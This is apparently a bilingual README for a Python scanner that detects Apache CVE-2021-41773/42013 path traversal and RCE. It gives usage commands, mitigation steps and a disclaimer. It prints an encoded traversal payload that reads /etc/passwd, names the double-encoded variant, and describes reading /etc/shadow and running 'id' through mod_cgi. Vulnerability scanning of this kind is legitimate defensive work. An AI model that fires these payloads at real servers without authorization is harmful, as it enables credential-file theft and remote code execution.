
A comprehensive Python-based vulnerability scanner for detecting CVE-2021-41773 and CVE-2021-42013 path traversal and remote code execution vulnerabilities in Apache HTTP Server versions 2.4.49 and 2.4.50.
一个全面的基于 Python 的漏洞扫描器,用于检测 Apache HTTP Server 2.4.49 和 2.4.50 版本中的 CVE-2021-41773 和 CVE-2021-42013 路径遍历及远程代码执行漏洞。
CVE-2021-41773 和 CVE-2021-42013 是影响 Apache HTTP Server 的严重漏洞,允许攻击者:
这些漏洞在 2021 年 10 月引起广泛关注,并已在野外被积极利用。
.%2e)绕过目录限制/etc/passwd 等敏感文件,若 mod_cgi 启用则可执行任意命令%%32%65)绕过✅ 双重 CVE 检测:同时测试 CVE-2021-41773 和 CVE-2021-42013 ✅ 路径遍历测试:多种载荷变体尝试文件访问 ✅ RCE 测试:若 mod_cgi 启用则验证远程代码执行 ✅ 批量扫描:从文件中扫描多个目标 ✅ 彩色输出:易于阅读的格式化结果 ✅ 可自定义超时:针对不稳定网络可调整请求超时 ✅ 用户代理伪造:绕过基础过滤机制
requests 库colorama 库https://github.com/drackyjr/CVE-2021-42013.git
cd cve-2021-41773-42013
pip3 install -r requirements.txt
或手动安装:
pip3 install requests colorama
python3 cve_scanner.py -u http://192.168.1.100
python3 cve_scanner.py -u https://target.com
python3 cve_scanner.py -u http://target.com -t 15
python3 cve_scanner.py -l targets.txt
python3 cve_scanner.py -h
python3 cve_scanner.py -u http://192.168.1.100
创建 targets.txt:
http://192.168.1.100
https://example.com:8080
http://10.0.0.50
https://vulnerable.server.com
然后运行:
python3 cve_scanner.py -l targets.txt -t 15
python3 cve_scanner.py -u http://target.com -t 30
扫描器提供详细的输出,包括:
示例输出:
============================================================
CVE-2021-41773 / CVE-2021-42013 漏洞扫描器
============================================================
[*] 目标:http://192.168.1.100
[*] 测试 CVE-2021-41773 (Apache 2.4.49)...
[+] 存在 CVE-2021-41773 漏洞!
[+] 载荷:/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
[+] 响应:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
============================================================
扫描总结
============================================================
[!] 目标存在漏洞!
[!] 需要立即修补!
[*] 建议:升级至 Apache HTTP Server 2.4.51 或更高版本
============================================================
.%2e)的请求/cgi-bin/、/icons/、/images//etc/passwd 和 /etc/shadow%%32%65)的请求id 命令以验证代码执行uid= 和 gid=扫描器查找以下内容:
/etc/passwd 的 root: 或 daemon: 条目id 命令后的 uid= 和 gid=<Directory />
Require all denied
</Directory>
# 限制对敏感目录的访问
<Directory /cgi-bin>
Require all denied
</Directory>
# 如非必要,禁用符号链接
Options -FollowSymLinks
# 启用安全标头
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
# 检查 Apache 版本
apache2 -v
httpd -v
| 版本 | 状态 | 操作 |
|---|---|---|
| 2.4.49 | ❌ 存在漏洞 | 立即升级 |
| 2.4.50 | ⚠️ 部分修补 | 升级至 2.4.51+ |
| 2.4.51+ | ✅ 已修补 | 无需操作 |
⚠️ 重要:此工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统根据《计算机欺诈和滥用法》(CFAA)及全球类似法律是非法的。
仅限授权使用:
滥用警告:用户有责任在测试任何目标前确保获得明确授权。作者不对未经授权使用承担任何责任。
此扫描器适用于:
.
├── cve_scanner.py # 主扫描脚本
├── requirements.txt # Python 依赖
├── README.md # 本文件
├── targets.txt # 示例目标列表
└── LICENSE # 许可证信息
requests==2.28.1
colorama==0.4.5
http://192.168.1.100
https://vulnerable.example.com
http://10.0.0.50:8080
解决方案:使用 -t 选项增加超时
python3 cve_scanner.py -u http://target.com -t 30
解决方案:脚本默认禁用 SSL 验证。如果问题仍然存在,请确保 Python 证书已更新:
pip3 install --upgrade certifi
解决方案:确保所有依赖已安装
pip3 install -r requirements.txt
解决方案:使脚本可执行
chmod +x cve_scanner.py
python3 cve_scanner.py -u http://target.com
-l 配合目标文件进行多次扫描欢迎贡献!贡献方法如下:
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)请确保:
本项目采用 MIT 许可证。详情见 LICENSE 文件。
安全测试工具
为教育和授权安全测试目的而创建。
如有问题、反馈或建议,请在 GitHub 上提交 issue。
最后更新:2025 年 11 月
状态:活跃开发中
测试环境:Python 3.8+, Apache 2.4.49, 2.4.50
| 参数 | 短参数 | 类型 | 说明 |
|---|
--url | -u | 字符串 | 目标 URL(如 http://example.com) |
--list | -l | 文件 | 包含目标列表的文件(每行一个) |
--timeout | -t | 整数 | 请求超时秒数(默认:10) |